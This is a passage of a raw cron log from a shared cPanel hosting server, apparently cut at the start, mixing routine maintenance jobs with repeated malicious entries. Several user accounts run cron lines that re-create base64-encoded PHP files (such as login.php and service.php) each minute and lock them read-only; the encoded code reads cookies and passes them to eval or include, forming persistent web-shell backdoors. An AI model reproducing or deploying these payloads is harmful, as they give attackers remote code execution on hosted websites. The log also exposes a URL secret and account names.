ildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:48:01 medusa CROND[13669]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:48:01 medusa CROND[13670]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:48:01 medusa CROND[13671]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:48:01 medusa CROND[13672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:48:01 medusa CROND[13673]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 10:48:01 medusa CROND[13677]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:48:01 medusa CROND[13678]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:48:01 medusa CROND[13682]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:48:01 medusa CROND[13683]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:48:01 medusa CROND[13684]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:49:01 medusa CROND[3319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:49:01 medusa CROND[3320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:49:01 medusa CROND[3321]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:49:01 medusa CROND[3323]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:49:01 medusa CROND[3324]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:49:01 medusa CROND[3326]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:49:01 medusa CROND[3327]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 10:49:01 medusa CROND[3329]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:49:01 medusa CROND[3330]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:49:01 medusa CROND[3332]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:49:01 medusa CROND[3334]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:49:01 medusa CROND[3336]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:50:01 medusa CROND[26420]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 10:50:01 medusa CROND[26428]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 10:50:01 medusa CROND[26430]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 10:50:01 medusa CROND[26490]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 10:50:01 medusa CROND[26550]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 10:50:01 medusa CROND[26549]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 10:50:01 medusa CROND[26551]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:50:01 medusa CROND[26553]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 10:50:01 medusa CROND[26558]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 10:50:01 medusa CROND[26559]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:50:01 medusa CROND[26562]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:50:01 medusa CROND[26563]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:50:01 medusa CROND[26567]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 10:50:01 medusa CROND[26566]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 10:50:01 medusa CROND[26572]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 10:50:01 medusa CROND[26568]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 10:50:01 medusa CROND[26577]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
